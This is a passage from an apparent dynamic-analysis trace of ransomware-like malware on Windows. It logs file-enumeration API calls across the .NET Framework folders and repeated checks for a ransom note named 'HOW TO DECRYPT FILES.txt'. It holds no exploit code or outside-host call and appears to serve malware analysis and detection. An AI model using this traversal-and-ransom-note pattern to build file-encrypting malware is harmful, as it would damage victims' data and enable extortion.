lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.356] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.356] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminWithConfirmation.master" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmation.master") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmation.master" [0137.356] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminWithConfirmationNoButtonRow.master", cAlternateFileName="WEBC6F~1.MAS")) returned 1 [0137.356] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.356] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmation.master") returned="WebAdminWithConfirmation.master" [0137.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.356] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.356] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.356] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.356] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminWithConfirmationNoButtonRow.master" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmationNoButtonRow.master") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmationNoButtonRow.master" [0137.357] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminWithConfirmationNoButtonRow.master", cAlternateFileName="WEBC6F~1.MAS")) returned 0 [0137.357] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.357] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9ec0e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Aspnet.config", cAlternateFileName="ASPNET~1.CON")) returned 1 [0137.357] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.357] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.357] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.357] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.357] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.357] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="Aspnet.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config" [0137.357] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea12240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xd243, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof", cAlternateFileName="")) returned 1 [0137.357] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.358] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config") returned="Aspnet.config" [0137.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.358] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.358] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.358] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.358] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet.mof" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof" [0137.358] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d643b00, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea12240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x1d643b00, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet.mof.uninstall", cAlternateFileName="ASPNET~1.UNI")) returned 1 [0137.358] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.358] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof") returned="aspnet.mof" [0137.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.358] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.358] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.358] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.358] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet.mof.uninstall" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof.uninstall") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof.uninstall" [0137.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57233420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7c2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AspNetMMCExt.dll", cAlternateFileName="AS0BAF~1.DLL")) returned 1 [0137.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.359] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet.mof.uninstall") returned="aspnet.mof.uninstall" [0137.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.359] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.359] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.359] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.359] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="AspNetMMCExt.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AspNetMMCExt.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AspNetMMCExt.dll" [0137.359] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5706a3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_compiler.exe", cAlternateFileName="ASPNET~1.EXE")) returned 1 [0137.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.359] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AspNetMMCExt.dll") returned="AspNetMMCExt.dll" [0137.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.359] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.359] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.360] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.360] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_compiler.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe" [0137.360] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x86b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_filter.dll", cAlternateFileName="ASPNET~1.DLL")) returned 1 [0137.360] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.360] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe") returned="aspnet_compiler.exe" [0137.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.361] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.361] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.361] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.361] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_filter.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_filter.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_filter.dll" [0137.361] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x570b6660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x60b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_isapi.dll", cAlternateFileName="ASPNET~2.DLL")) returned 1 [0137.361] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.361] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_filter.dll") returned="aspnet_filter.dll" [0137.361] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.361] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.361] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.361] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.361] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_isapi.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_isapi.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_isapi.dll" [0137.362] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x570dc7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspnet_perf.dll", cAlternateFileName="ASPNET~3.DLL")) returned 1 [0137.362] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.362] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_isapi.dll") returned="aspnet_isapi.dll" [0137.362] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.362] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.362] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.362] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.362] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="Aspnet_perf.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet_perf.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet_perf.dll" [0137.362] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58806000, ftCreationTime.dwHighDateTime=0x1cd5cfa, ftLastAccessTime.dwLowDateTime=0xca393aa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x58806000, ftLastWriteTime.dwHighDateTime=0x1cd5cfa, nFileSizeHigh=0x0, nFileSizeLow=0x1c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf.h", cAlternateFileName="ASPNET~1.H")) returned 1 [0137.362] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.362] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet_perf.dll") returned="Aspnet_perf.dll" [0137.362] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.362] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.362] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.362] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.363] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_perf.h" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h" [0137.363] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f405000, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x57102920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x1f405000, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0xf387a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_perf.ini", cAlternateFileName="ASPNET~1.INI")) returned 1 [0137.363] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.363] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h") returned="aspnet_perf.h" [0137.363] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.363] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.363] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.363] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.363] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="aspnet_perf.ini" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.ini") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.ini" [0137.363] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3d700, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x57102920, 